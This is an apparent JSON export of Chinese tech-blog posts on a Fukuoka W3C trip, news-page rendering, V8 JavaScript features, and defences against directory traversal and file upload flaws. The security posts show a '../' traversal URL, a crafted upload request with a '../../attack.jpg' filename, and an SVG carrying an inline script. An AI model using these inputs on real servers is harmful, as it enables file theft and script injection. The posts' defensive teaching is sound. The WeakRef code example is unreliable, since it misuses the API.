的支持，是否需要考虑对 .AV 图片的支持。讨论了下各个浏览器各种格式的现状，其中最有意思的是 Jake 说HEVC 格式 Safari 支持编码但不支持解码，使用 canvas 可以转出这个格式。这个把大家都搞懵了，支持编码但不支持解码，不知道 Safari 在搞什么飞机，可惜在场的 Safari 的同事没办法确认这个事情。\n注：正中间的是 Jake\n对了刚才说的 Jake 是之前我翻译的 《Jake and Paul》系列视频其中的一位，这次见到真人了真是太激动了，之前折磨了我那么久好想上去揍一顿呀（大雾。晚上吃了饭我和文力去旁边的沙滩走了一下，海风和海浪的感觉真是舒服。回去的路上路过福冈巨蛋，好像正好有他们当地的棒球队的比赛，上面有点热闹。看到一个超级卡哇伊的小孩，给我们百各种各样的拍照姿势，真是可爱。\n","count":1541,"date":"2019年09月18日","featuredImage":null,"permalink":"https://imnerd.org/fukuoka-2019-2.html","summary":"\u003cp\u003e本来想早上早点起来去海边沙滩看看的，结果还是败给了懒觉睡到了七点半。洗漱后去吃了酒店的早饭，服务员会把每个人带到座位上而不是随便坐感觉服务还是挺周到的。吃的种类比较多，不过早上我还是喜欢喝个粥。不足的是油条炸的太硬了，泡了好久才泡软。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/20190924/upload_421779f0b8c69b24d04f5bf738b060dd.png\" alt=\"日式早饭\"\u003e\u003cbr\u003e\n注：酒店和风日式早餐\u003c/p\u003e\n\u003cp\u003e当然我还是没忘记我是来参会的，早饭完后就去参会了。上午的应该是统一的会，不过语速都比较快只听了个大概（其实是没听懂）。有一个是说如何让 W3C 的规范更加可持续化的，还有一个是说之前 W3C 和 MDN 联合推出的针对开发者的调查报告的结果。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p4.ssl.qhimgs4.com/t01523a3c42cc41dff1.jpg\" alt=\"中国驻福冈领事馆\"\u003e\u003cbr\u003e\n注：中华人民共和国驻福冈领事馆\u003c/p\u003e","time":4,"title":"日本福冈行-Day 2"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"这几天来福冈参加 W3C TPAC 2019 的会议，从17日到21日。今天大早上8点多的飞机，所以早上5点多就需要起来了，所以睡觉一直都不是很踏实，醒了好几回。到机场打登机牌还找了好久，一直记得之前国内的自助打登机牌了，原来国际的需要走托运那块办。我们是从大连转机，到大连的飞机上有好多中英双语特别6的人，有老人小孩，超羡慕的说。\n到福冈过海关的时候也特别尴尬，人家问我呆几天我说呆5天，心里想的是17-21，结果和人家说的是 nintheen to twenty one，把老大爷搞的一脸懵逼的再勾指头数数，最后还小声的纠正了下我[哭笑不得]。另外感觉海关的工作人员老年人和年轻女性偏多，果然日本老龄化问题很严重（大概？）。\n注：等公车的时候无聊拍了张对面的树\n冰晶预约了一个烤肉店，让我到了之后让我直接坐车到天神。结果等公车的时候很尴尬，等车来了用蹩脚的英语问了一下之后才发现没有零钱，去711破零钱之后人家告诉我下一班公车要50分钟以后了，建议我去坐地铁。结果按照大叔的指示方向找了20分钟没找到地铁口在哪里……真是尴尬… 最后不得不放弃地铁计划老老实实等了半个多小时的公车。而上公车的时候也很尴尬，这个车区间制的，实际上需要上车拿个标记纸就行。而我以为需要投币，在拿纸的那个地方投了半天币……后面的人估计在看智障一样看我[哭笑不得]。一开始对日本的靠左行驶完全不习惯，而且发现道路是真的小（后来发现酒店也是），完全没有国内的大气。\n注：和冰晶的异国相遇\n和冰晶在星巴克会面了，之后和其它的同事一块吃的烤肉。特别佩服大部分的服务员，英语都说的挺好的。不过有些比较难的也挺难的，都直接上 Siri 了[哭笑不得]。吃完我们去逛免税店啦，最后逛的那个药妆店简直厉害极了，几乎都是中国人在店里，服务员也都是中国人，全场中文交流，简直赛高。比较尴尬的是刚去地铁站办的公交卡还在店里不小心丢了，结果店长查了录像发现是我掉的，中国小哥找我沟通问我怎么来的天神、是否只是丢了公交卡、公交卡的特征是什么，索性买了两张一样的公交卡给他出示了一下最后填了张丢失单搞定。第一次来日本丢东西的经验就这么 get 到了，感谢是在这个中国人遍地的药妆店里丢的。\n注：需要“塞钱”的神社\n一晚上的免税店之行我就把所有同事要代购的东西都买齐了，简直棒呆了！传福让我带的膳魔师的杯子最迷，小型号的反而要比大型号的贵800，真是无法理解~\n注：难得一见的路边小摊\n乘公车回到酒店发现酒店非常棒，床头没有插头导致没办法玩手机[哭笑不得]。不过配套的东西还是很不错的，电视机能收到不少的频道，包裹 FOX 和 CCTV，对的你没看错，是 CCTV。还有就是上文吐槽的比较小的问题了。\n","count":1071,"date":"2019年09月17日","featuredImage":null,"permalink":"https://imnerd.org/fukuoka-2019.html","summary":"\u003cp\u003e这几天来福冈参加 W3C TPAC 2019 的会议，从17日到21日。今天大早上8点多的飞机，所以早上5点多就需要起来了，所以睡觉一直都不是很踏实，醒了好几回。到机场打登机牌还找了好久，一直记得之前国内的自助打登机牌了，原来国际的需要走托运那块办。我们是从大连转机，到大连的飞机上有好多中英双语特别6的人，有老人小孩，超羡慕的说。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/20190924/upload_474e99a03bb9ee0c6cb20977f60b949a.png\" alt=\"Welcome to Fukuoka!\"\u003e\u003c/p\u003e","time":3,"title":"日本福冈行-Day 1"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"什么是目录遍历 第一次接触到目录遍历漏洞还是在 ThinkJS 2 的时候。代码如下图，目的是当用户访问的 URL 是静态资源的时候返回静态资源的地址。其中 pathname 就是用户访问的 URL 中的路径，我们发现代码中只是简单的解码之后就在22行将其与资源目录做了拼接，这就是非常明显的目录遍历漏洞了。\n为什么这么说呢？假设用户访问的 URL 是 http://xxx.com/../../../xxx.jpg 的话最终返回的文件地址就会变成 think.RESOURCE_PATH 的上三层目录中的文件了。而这种利用网站的安全缺陷来列出服务器目录或者文件的方式就成为目录遍历漏洞（Directory traversal），也称之为路径遍历漏洞（英文：Path traversal）。\n目录遍历在英文世界里又名../ 攻击（Dot dot slash attack）、目录攀登（Directory climbing）及回溯（Backtracking）。其部分攻击手段也可划分为规范化攻击（Canonicalization attack）。\nvia: wikipedia\n目录遍历的危害 目录遍历最大的危害是能够让任意用户访问系统的敏感文件，继而攻陷整个服务器。例如获取linux下的/etc/passwd文件后可能会破解出root用户的密码等。\n防御方法 可以看到大部分情况下问题的关键就是 ../ 目录跳转符，所以防御的第一要务就是它进行过滤。除了过滤之外，还可以针对最终的文件路径进行判断，确保请求文件完整目录后的头N个字符与文档根目录完全相同，如果相同则返回内容，否则则可能是攻击地址不予返回。\n回到文章开头说的那个代码问题，最终就是通过上述方法修复的，对最终的文件地址进行规范化后判断开头是否包含 RESOURCE_PATH 目录，如果不包含则返回空。\n","count":648,"date":"2019年08月24日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimg.com/t01acd2b26ac43eca6e.png","permalink":"https://imnerd.org/web-security-vulnerability-directory-traversal.html","summary":"\u003ch2 id=\"什么是目录遍历\"\u003e什么是目录遍历\u003c/h2\u003e\n\u003cp\u003e第一次接触到目录遍历漏洞还是在 ThinkJS 2 的时候。代码如下图，目的是当用户访问的 URL 是静态资源的时候返回静态资源的地址。其中 \u003ccode\u003epathname\u003c/code\u003e 就是用户访问的 URL 中的路径，我们发现代码中只是简单的解码之后就在22行将其与资源目录做了拼接，这就是非常明显的目录遍历漏洞了。\u003c/p\u003e","time":2,"title":"Web 安全漏洞之目录遍历"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"开篇之前先介绍一下场景。信息流是一个基于用户兴趣使用算法将用户感兴趣的新闻内容推荐给用户的一种业务。这种业务带有非常特色的场景就是用户有一个“永远”都刷不完的推荐流列表，点击列表中的新闻之后可以跳转到其详情页中查看新闻的正文内容。列表一般都是由客户端原生去实现的，而详情页这块由于新闻内容结构的复杂性，一般还是会使用 h5 来实现。这样就对我们 h5 的性能提出了要求，我们必须在用户切换的时候将切换的白屏时间尽量减少，这样才能提高用户的阅读体验。\n本文就将为大家讲述一下我们是如何实现性能优化达到“闪开”的效果的。我们可以先看看效果，下图左边是正常版本，而右边的是优化后的版本。对比之下可以发现即使我已经悄咪咪的先点击左边的手机，同一篇新闻右边的打开速度明显比左边的要快很多。接下来就让我们看看这个是如何做到的吧！\n目前现状 众所周知，网页中内容渲染往往根据渲染方式可以分为后渲染和前端渲染两种方式，最近几年由前端渲染又演化出了同构渲染，也就是大家经常说的 SSR。这几种渲染方式的主要优缺点大概整理了主要有如下几个方面。\n后端渲染： 优势：服务端直出首屏性能好，SEO好 劣势：交互逻辑复杂需要两端维护结构 前端渲染： 优势：前端交互易维护，数据渲染分离 劣势：首屏性能问题以及 SEO 问题 同构渲染： 优势：首屏性能好，SEO 好，一份代码多端运行 劣势：代码维护成本，服务器性能和维护成本增加 当然本篇文章不是来讲各种渲染方式的优缺点的，主要是说因为种种原因我们的项目最后使用了前端 JS 渲染的方式。而 JS 渲染带来的性能问题主要是由于数据接口请求返回以及前端 JS 资源获取所带来的网络问题。为了解决这两个问题，一方面我们采用了服务端将数据注入到页面全局变量中的方式避免了数据请求，另一方面我们使用了 localStorage 缓存的方式将前端资源做了 LS 缓存避免了二次打开之后的前端资源请求，从而提高了前端渲染的首屏性能。\n思考优化方案 虽然我们避免了前端渲染的一些问题对首屏的性能做了优化，但还远远不够。那目前还有哪些点可以进行优化呢？简单的整理了下可以有如下两个方面：\n首次进入以及线上代码有更新之后还是需要下载前端资源 服务端页面的 ttfb 相应还有优化的空间 客户端 WebView 打开的速度和性能还有优化的空间 从上面两个优化点我们可以看到所有的优化还是网络的优化，主要还是在移动端网络对性能的影响是远远大于其他方面的。那么是否有什么方案能够让我们免去这些网络请求呢，最终我们给的答案就是详情页本地化。通过本地化方案，我们将平均 820ms 的首屏渲染时间优化到了 260ms，整整提高了三倍多！\n详情页本地化就是客户端不走网络请求打开新闻的方案，解决上文中列举的所有网络请求相关的优化点。它除了能为我们带来首屏性能的进一步提升之外，由于它不走网络请求的特性，也为我们解决了复杂网络环境下页面劫持导致的详情页白页打不开的问题。同时还为我们带来了无网络环境下的离线阅读新闻的能力。\n本地化实现 由于我们的这面是纯 JS 渲染的，所以我们一个最终的详情页主要是由新闻数据和静态页面两者构成的。 鉴于对服务端的依赖非常的少，和大部分的 SPA 页面一样，本质上只要在客户端将我们的前端页面提前下载下来就能正常打开了。\n详情页 = 静态页面 + 新闻数据 数据预下发 而如何在用户还没有打开新闻之前客户端就能把我们的页面资源下载下来呢？这里就不得不提一下我们的场景，因为在我们的信息流场景中，用户永远是通过流点击进入到详情页中。而在客户端的流中是需要加载服务端数据的，所以在这个时候其实我们就可以告知客户端让其提前下载好模板。当然大家不要忘记，除了页面之外我们还要有新闻数据，为了实现纯离线化同时也避免新闻数据接口的请求，在列表中还会将每条新闻的详细数据下发下去，保证必备要素的本地化。\n如图所示，在列表请求的接口中，服务端会将需要缓存的静态页面地址以及每条新闻对应的新闻数据全部下发给客户端，客户端接收到请求之后会进行模板的下载。\n客户端行为 需要的东西下发下去之后剩下的就是客户端进行渲染了。正常来说除了模板页面之外，服务端还需要下载其他相关的静态资源，然后启动一个 HTTP 服务将页面和资源文件进行关联，关联之后将数据注入到页面之后打开页面。但这对客户端的要求就非常多了，为了将客户端的工作量降低，我们将所有需要使用的静态资源通过编译内联到 HTML 文件内，客户端通过字符串拼接的形式将数据注入到页面的全局变量中。\n如图所示所有静态资源都被标记了 inline 属性，我们的编译工具在读取到这个属性后会将当前资源给内联到 HTML 中。同时大家注意到该模板不是以 \u0026lt;html\u0026gt; 开头的，而是有一些截断。这是为了给客户端提供注入数据空间，客户端通过模板字符串拼接的形式将新闻数据注入到全局变量中最终完成整个新闻页面的获取。前端代码中则直接使用 __INJECT_DATA_FROM_CLIENT_DONT_MODIFY__ 全局变量获取注入的数据。\n页面的更新 上面就是一套完整的本地化下发并打开的流程了，总的来讲就分为四步：\n前端将页面处理成真·单页应用 服务端在列表时将数据和本地化模板下载地址通过接口下发给客户端 客户端获取到模板下载地址后进行下载 当用户打开新闻的时候客户端将数据和模板进行拼接打开即可 但是只要有资源的分发就会涉及到资源的同步更新问题，我们的本地化模板也是一样。在我们的线上更新的时候如何让客户端知晓并触发更新行为，也是我们需要去考虑的问题。实际上大家在前两张截图中可以看到，为了解决这个问题，我们是在服务端下发的接口中还增加了一个 version 字段，用来标记当前 HTML 的版本。而当前端进行代码发布的时候，我们的发布系统会有一个类似 npm 的 postpublish 的钩子，利用这个钩子我们告诉服务端发布成功更新版本号。最后，当客户端接收到新的版本号的时候则会重新下载新的模板，完成一次本地模板的更新。\n跨域问题 在前端页面中，Cookie 和 LocalStorage 等大量的特性是和域名相关的，而不巧的是我们的页面中都有使用，所以跨域也是我们需要考虑到的问题。我们知道，本质上此种方案下客户端相当于使用 WebView 打开了一个本地页面，而在 Android 系统中 WebView 打开本地页面的话有三种方法：\nloadUrl：本质上使用 file:///temp.html 的形式打开一个本地文件 URL loadData：和 loadUrl 类型，好的地方在于不需要写成文件，可以直接加载页面字符串，不过此时加载完之后页面的 URL 是 about:blank loadDataWithBaseURL：和 loadData 类似，好的地方在于提供了参数能够设置当前 URL 地址 从描述中可以看到，很明显最后一种 loadDataWithBaseURL 才是我们需要的。客户端通过这个方法加载，设置当前页面的 URL 为真实线上 URL，对于前端来说基本上就和线上环境无异了，本地化和线上 Cookie 和 LocalStorage 的共享都没有问题。不过这里需要注意，第一个参数 baseUrl 仅能管住当前页面，如果页面做了 history.pushState() 等前进后退操作的话当前页面地址又会变成 about:blank，此时需要再设置最后一个参数 historyUrl 才行。\n后记 本文给大家讲述了实现本地化离线阅读的方案。除了以上列举的问题，我们还碰到了一些细微的问题。例如我们发现在网络不好的情况下客户端可能会下载模板失败缓存了不完整的代码，所以我们增加了模板的 md5 值一并下发给客户端用来校验模板是否下载完全。又如上文说了模板的更新，实际上内容也会有更新，特别是一些新闻的实时性会有比较高的要求，为了解决这个问题，我们会在页面打开后再次去检查一下文章的状态，如果发生变量会切换至线上版本用来规避这个问题。除了这些之外我们还做了完备的云控后退方案，能在方案出问题的时候完美回退到普通版本。\n其实大家可以看到，本地化只是我们在特定场景下决绝性能问题的一种特定思路。它并不是使用于所有的场景，所以我在文章开头也特别强调了一下我们的应用场景方便大家去理解。但是我们只要理解这种方案的精髓，我相信在其它的一些特定场合总能发挥它的威力。\n","count":3074,"date":"2019年07月05日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimg.com/t01bcaa931318dc153f.png","permalink":"https://imnerd.org/nsr.html","summary":"\u003cp\u003e开篇之前先介绍一下场景。信息流是一个基于用户兴趣使用算法将用户感兴趣的新闻内容推荐给用户的一种业务。这种业务带有非常特色的场景就是用户有一个“永远”都刷不完的推荐流列表，点击列表中的新闻之后可以跳转到其详情页中查看新闻的正文内容。列表一般都是由客户端原生去实现的，而详情页这块由于新闻内容结构的复杂性，一般还是会使用 h5 来实现。这样就对我们 h5 的性能提出了要求，我们必须在用户切换的时候将切换的白屏时间尽量减少，这样才能提高用户的阅读体验。\u003c/p\u003e","time":7,"title":"不到 0.3s 完成渲染！360 信息流正文“闪开”优化实践"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"文件上传漏洞及危害 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器上，当开发者没有对该文件进行合理的校验及处理的时候，很有可能让程序执行这个上传文件导致安全漏洞。大部分网站都会有文件上传的功能，例如头像、图片、视频等，这块的逻辑如果处理不当，很容易触发服务器漏洞。这种漏洞在以文件名为 URL 特征的程序中比较多见。嗯，是的说的就是世界上最好的语言 PHP。例如用户上传了一个 PHP 文件，拿到对应文件的地址之后就可以执行它了，其中的危害自然不言而喻。那在 Node.js 中就没有文件上传漏洞了么？答案肯定是否的。除了可执行文件外，还有以下几个潜在的问题。\n文件名 用户上传的文件里有两个东西经常会被程序使用，一个是文件本身，还有一个就是文件名了。如果文件名被用来读取或者存储内容，那么你就要小心了。攻击者很有可能会构造一个类似 ../../../attack.jpg 的文件名，如果程序没有注意直接使用的话很有可能就把服务器的关键文件覆盖导致程序崩溃，甚至更有可能直接将 /etc/passwd 覆盖写上攻击者指定的密码从而攻破服务器。\n有些同学可能会说了，/ 等字符是文件名非法字符，用户是定义不了这种名字的。你说的没错，但是我们要知道我们并不是直接和用户的文件进行交互的，而是通过 HTTP 请求拿到用户的文件。在 HTTP 表单上传请求中，文件名是作为字符串存储的。只要是合法的 HTTP 请求格式，攻击者可以构造请求中的任何内容用于提交给服务器。\nPOST /upload HTTP/1.1 Host: test.com Connection: keep-alive Content-Length: 4237161 Accept: */* Origin: http://test.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9pQqgBGwpDfftP8l Referer: http://test.com Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,zh-TW;q=0.7,da;q=0.6 ------WebKitFormBoundary9pQqgBGwpDfftP8l Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;../../attack.jpg\u0026#34; Content-Type: image/jpeg ------WebKitFormBoundary9pQqgBGwpDfftP8l-- HTML 和 SVG 虽然说 Node.js 在文件上传服务端可执行程序的漏洞没有 PHP 那么高，但是除了服务端可执行之外我们还有客户端可执行问题，所以还是要做好防备。假设用户可以上传任意格式的文件，而如果攻击者上传了 HTML 文件后可以配合 CSRF 攻击进一步制造 XSS 攻击。\n如果你是一个图片上传的接口，如果你仅限制 HTML 格式的话也存在问题，因为图片中有一种特别的存在是 SVG 格式。SVG 是一种矢量图形格式，它使用 XML 来描述图片，在其内部我们是可以插入 \u0026lt;html\u0026gt;, \u0026lt;style\u0026gt;, \u0026lt;script\u0026gt; 等 DOM 标签的。如果不对 SVG 中的文件内容进行过滤的话，也会发生意想不到的效果。\n\u0026lt;svg viewBox=\u0026#34;0 0 100 100\u0026#34; version=\u0026#34;1.1\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; xmlns:xlink=\u0026#34;http://www.w3.org/1999/xlink\u0026#34;\u0026gt; \u0026lt;script\u0026gt;alert(111)\u0026lt;/script\u0026gt; \u0026lt;rect x=\u0026#34;25\u0026#34; y=\u0026#34;25\u0026#34; width=\u0026#34;50\u0026#34; height=\u0026#34;50\u0026#34; /\u0026gt; \u0026lt;/svg\u0026gt; 软链 我们知道在操作系统中软链本质上也是一种文件，只是这个文件中不包含实际的内容，它包含另外一个文件的路径名。可以是任意文件或目录，可以链接不同文件系统的文件。如果攻击者上传了一个软链文件，软链描述对应的是 /etc/passwd 的话，攻击者利用程序可以直接读取到服务器的关键文件内容，导致服务器被攻陷。\n服务器磁盘 除了文件本身的问题之外，还有一种情况我们需要考虑到的是文件上传之后的处理。如果我们将用户上传的文件存储到了本地，而没有限制用户的上传频率的话，就很有可能被攻击者利用。攻击者会频繁的上传文件导致服务器磁盘占用 100%，撑爆服务器之后没办法处理程序的其它任务进而导致服务器宕机。\n防御方法 针对以上几个可能出现的漏洞场景，我们需要做到以下几点：\n对用户传入的文件名在使用的时候尽量进行白名单过滤，可以的话尽量不要使用用户传入文件名，杜绝从文件名上导致的安全漏洞。 对文件内容本身做好格式验证，黑名单或者白名单的方式都可以，不过白名单的方式安全性会更高一点。文件格式不能简单的判断文件后缀或者是表单上传时带有的 Content-Type 字段，因为这两个是用户上传内容，都是可被构造的。最好是通过文件头的魔术数字来读取，配合白名单列表就能避免这方面的问题。比较著名的使用魔术数字来判断文件类型的模块是 https://github.com/sindresorhus/file-type，推荐直接使用。 如果允许用户上传 .svg 格式图片的话，需要针对 SVG 内容进行 HTML 解析，过滤掉 \u0026lt;script\u0026gt;, \u0026lt;foreignObject\u0026gt; 等相关标签。当然，使用白名单的话是最好不过的了。这里提供一个比较全的 SVG 合法标签白名单列表。 需要额外提醒的是，如果用户上传的压缩包，程序有解压的行为，那么不仅要按照上述规则校验压缩包本身，还需要按照相同的逻辑校验解压之后的所有内容。同时针对服务器磁盘被撑爆的情况，推荐限制用户的上传频率降低风险，同时增加磁盘监控告警实时关注线上服务器的状态。如果存储到本地不是必须的话也可以使用外部存储服务来降低服务器这块的风险。\n","count":1673,"date":"2019年06月29日","featuredImage":"https://imnerd.org/assets/migration/imnerd.org/usr/uploads/2019/06/1660045564.png","permalink":"https://imnerd.org/web-security-vulnerability-file-upload.html","summary":"\u003ch2 id=\"文件上传漏洞及危害\"\u003e文件上传漏洞及危害\u003c/h2\u003e\n\u003cp\u003e文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器上，当开发者没有对该文件进行合理的校验及处理的时候，很有可能让程序执行这个上传文件导致安全漏洞。大部分网站都会有文件上传的功能，例如头像、图片、视频等，这块的逻辑如果处理不当，很容易触发服务器漏洞。这种漏洞在以文件名为 URL 特征的程序中比较多见。嗯，是的说的就是世界上最好的语言 PHP。例如用户上传了一个 PHP 文件，拿到对应文件的地址之后就可以执行它了，其中的危害自然不言而喻。那在 Node.js 中就没有文件上传漏洞了么？答案肯定是否的。除了可执行文件外，还有以下几个潜在的问题。\u003c/p\u003e","time":4,"title":"Web 安全漏洞之文件上传"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"前几天 Google IO 上 V8 团队为我们分享了《What\u0026rsquo;s New in JavaScript》主题，分享的语速很慢推荐大家可以都去听听就当锻炼下听力了。看完之后我整理了一个文字版帮助大家快速了解分享内容，嘉宾主要是分享了以下几点：\nJS 解析快了 2 倍 async 执行快了 11 倍 平均减少了 20% 的内存使用 class fileds 可以直接在 class 中初始化变量不用写在 constructor 里 私有变量前缀 string.matchAll 用来做正则多次匹配 numeric seperator 允许我们在写数字的时候使用 _ 作为分隔符提高可读性 bigint 新的大数字类型支持 Intl.NumberFormat 本地化格式化数字显示 Array.prototype.flat(), Array.prototype.flatMap() 多层数组打平方法 Object.entries() 和 Object.fromEntries() 快速对对象进行数组操作 globalThis 无环境依赖的全局 this 支持 Array.prototype.sort() 的排序结果稳定输出 Intl.RelativeTimeFormat(), Intl.DateTimeFormat() 本地化显示时间 Intl.ListFormat() 本地化显示多个名词列表 Intl.locale() 提供某一本地化语言的各种常量查询 顶级 await 无需写 async 的支持 Promise.allSettled() 和 Promise.any() 的增加丰富 Promise 场景 WeakRef 类型用来做部分变量弱引用减少内存泄露 Async 执行比之前快了11倍 开场就用 11x faster 数字把大家惊到了，也有很多同学好奇到底是怎么做到的。其实这个优化并不是最近做的，去年11月的时候 V8 团队就发了一篇文章 《Faster async functions and promises》，这里面就非常详尽的讲述了如何让 async/await 优化到这个速度的，其主要归功于以下三点：\nTurboFan：新的 JS 编译器 Orinoco：新的 GC 引擎 Node.js 8 上的一个 await bug 2008年 Chrome 出世，10年 Chrome 引入了 Crankshaft 编译器，多年后的今天这员老将已经无法满足现有的优化需求，毕竟当时的作者也未曾料想到前端的世界会发展的这么快。关于为何使用 TurboFan 替换掉 Crankshaft，大家可以看看《Launching Ignition and TurboFan》，原文中是这么说的：\nCrankshaft 仅支持优化 JavaScript 的一部分特性。它并没有通过结构化的异常处理来设计代码，即代码块并没有通过try、catch、finally等关键字划分。另外由于为每一个新的特性Cranksshaft都将要做九套不同的框架代码适应不同的平台，因此在适配新的Javascript语言特性也很困难。还有Crankshaft框架代码的设计也限制优化机器码的扩展。尽管V8引擎团队为每一套芯片架构维护超过一万行代码，Crankshaft也不过为Javascript挤出一点点性能。\nvia：《Javascript是如何工作的：V8引擎的内核Ignition和TurboFan》\n而 TurboFan 则提供了更好的架构，能够在不修改架构的情况下添加新的优化特性，这为面向未来优化 JavaScript 语言特性提供了很好的架构支持，能让团队花费更少的时间在做处理不同平台的特性和编码上。从原文的数据对比中就可以看到，仅仅是换了个编译器优化就在 8 倍左右了…… 给 V8 的大佬们跪下了。\n而 Orinoco 新的 GC 引擎则是使用单独线程异步去处理，让其不影响 JS 主线程的执行。至于最后说的 async/await 的 BUG 则是让 V8 团队引发思考，将 async/await 原本基于 3 个 Promise 的实现减少成 2 个，最终减少成 1 个！最后达到了写 async/await 比直接写 Promise 还要快的结果。\n我们知道 await 后面跟的是 Promise 对象，但是即使不是 Promise JS 也会帮我们将其包装成 Promise。而在 V8 引擎中，为了实现这个包装，至少需要一个 Promise，两个微任务过程。这个在本身已经是 Promise 的情况下就有点亏大发了。而为了实现 async/await 在 await 结束之后要重新原函数的上下文并提供 await 之后的结果，规范定义此时还需要一个 Promise，这个在 V8 团队看来是没有必要的，所以他们建议规范去除这个特性。\n最后的最后，官方还建议我们：多使用 async/await 而不是手写 Promise 代码，多使用 JavaScript 引擎提供的 Promise 而不是自己去实现。\nNumeric Seperator 随着 Babel 的出现，JS 的语法糖简直不要太多，Numeric Seperator 算是一个。简单的说来它为我们手写数字的时候提供给了分隔符的支持，让我们在写大数字的时候具有可读性。\n其实是个很简单的语法糖，为什么我会单独列出来说呢，主要是因为它正好解决了我之前一个实现的痛点。我有一个需求是一堆文章数据，我要按照产品给的规则去插入广告。如图非红框是文章，红框处是广告。由于插入规则会根据产品的需（心）求（情）频繁变化，所以我们最开始使用了两个变量进行标记：\nconst news = [1, 3, 5, 6, 7, 9, 10, 11]; const ads = [2, 4, 8, 12]; 当位置发生变化的时候我们就需要同时对两个变量进行修改，这样导致了维护上的成本。所以我想了一个办法，广告的位置标记为 1，文章的位置标记为 0，使用纯二进制的形式来表示个记录，这样子就变成了：\n+---+---+---+ | 0 | 1 | 0 | +---+---+---+ | 1 | 0 | 0 | +---+---+---+ | 0 | 1 | 0 | +---+---+---+ | 0 | 0 | 1 | +---+---+---+ 1 011 010 100 010 001 // 首位为常量 1 // 2-4 位记录一行多少条 // 后续按照新闻和广告的位置进行记录 最后我们使用一个变量 0b1011010100010001 就完成了两种信息的记录。这样做将很多数据集成在了一起解决了我们之前的问题，但是它带来了新的问题，大家也可以看到注释中按照空格劈开的话大家看的还比较明白，但是在段头将空格去除之后在阅读程度上就造成了非常大的困难了。而数字分隔符这个语法糖正好就能解决这个问题，0b1_011_010_100_010_001 这样阅读起来就好很多了。\nPromise 虽然在大部分的场景 async/await 都可以了，但是不好意思 Promise 有些场景还是不可替代的。Promsie.all() 和 Promise.race() 就是这种特别的存在。而 Promise.allSettled() 和 Promise.any() 则是新增加的方法， 相较于它们的前辈，这俩拥有忽略错误达到目的的特性。\n我们之前有一个需求，是需要将文件安全的存储在一个存储服务中，为了灾备我们其实有两个 S3，一个 HBase 还有本地存储。所以每次都需要诸如以下的逻辑：\nfor(const service of services) { const result = await service.upload(file); if(result) break; } 但其实我并不关心错误，我的目的是只要保证有一个服务最终能执行成功即可，所以 Promise.any() 其实就可以解决这个问题。\nawait Promise.any( services.map(service =\u0026gt; service.upload(file)) ); Promise.allsettled() 和 Promise.any() 的引入丰富了 Promise 更多的可能性。说不定以后还会增加更多的特性，例如 Promise.try(), Promise.some(), Promise.reduce() \u0026hellip;\nWeakRef WeakRef 这个新类型我最开始是不太理解的，毕竟我总感觉 Chrome 已经长大了，肯定会自己处理垃圾了。然而事情并没有我想的那么简单，我们知道 JS 的垃圾回收主要有“标记清除”和“引用计数”两种方法。引用计数是只要变量多一次引用则计数加 1，少一次引用则计数减 1，当引用为 0 时则表示你已经没有利用价值了，去垃圾站吧！\n在 WeakRef 之前其实已经有两个类似的类型存在了，那就是 WeakMap 和 WeakSet。以 WeakMap 为例，它规定了它的 Key 必须是对象，而且它的对象都是弱引用的。举个例子：\n//map.js function usageSize() { const used = process.memoryUsage().heapUsed; return Math.round(used / 1024 / 1024 * 100) / 100 + \u0026#39;M\u0026#39;; } global.gc(); console.log(usageSize()); // ≈ 3.23M let arr = new Array(5 * 1024 * 1024); const map = new Map(); map.set(arr, 1); global.gc(); console.log(usageSize()); // ≈ 43.22M arr = null; global.gc(); console.log(usageSize()); // ≈ 43.23M //weakmap.js function usageSize() { const used = process.memoryUsage().heapUsed; return Math.round(used / 1024 / 1024 * 100) / 100 + \u0026#39;M\u0026#39;; } global.gc(); console.log(usageSize()); // ≈ 3.23M let arr = new Array(5 * 1024 * 1024); const map = new WeakMap(); map.set(arr, 1); global.gc(); console.log(usageSize()); // ≈ 43.22M arr = null; global.gc(); console.log(usageSize()); // ≈ 3.23M 分别执行 node --expose-gc map.js 和 node --expose-gc weakmap.js 就可以发现区别了。在 arr 和 Map 中都保留了数组的强引用，所以在 Map 中简单的清除 arr 变量内存并没有得到释放，因为 Map 还存在引用计数。而在 WeakMap 中，它的键是弱引用，不计入引用计数中，所以当 arr 被清除之后，数组会因为引用计数为0而被回收掉。\n正如分享中所说，WeakMap 和 WeakSet 足够好，但是它要求键必须是对象，在某些场景上不太试用。所以他们暴露了更方便的 WeakRef 类型。在 Python 中也存在 WeakRef 类型，干的事情比较类似。其实我们主要注意 WeakRef 的引用是不计引用计数的，就好理解了。例如 MDN 中所说的引用计数没办法清理的循环引用问题：\nfunction f(){ var o = {}; var o2 = {}; o.a = o2; // o 引用 o2 o2.a = o; // o2 引用 o return \u0026#34;azerty\u0026#34;; } f(); 如果试用 WeakRef 来改写，由于 WeakRef 不计算引用计数，所以计数一直为 0，在下一次回收中就会被正常回收了。\nfunction f() { var o = new WeakRef({}); var o2 = o; o.a = o2; return \u0026#34;azerty\u0026#34;; } f(); 在之前的一个多进程需求中，我们需要将子进程中的数据发送到主进程中，我们使用的方式是这样写的：\nconst metric = \u0026#39;event\u0026#39;; global.DATA[metric] = {}; process.on(metric, () =\u0026gt; { const data = global.DATA[metric]; delete global.DATA[metric]; return data; }); 代码就看着比较怪，由于 global.DATA[metric] 作为强引用，如果直接在事件中 return global.DATA[metric] 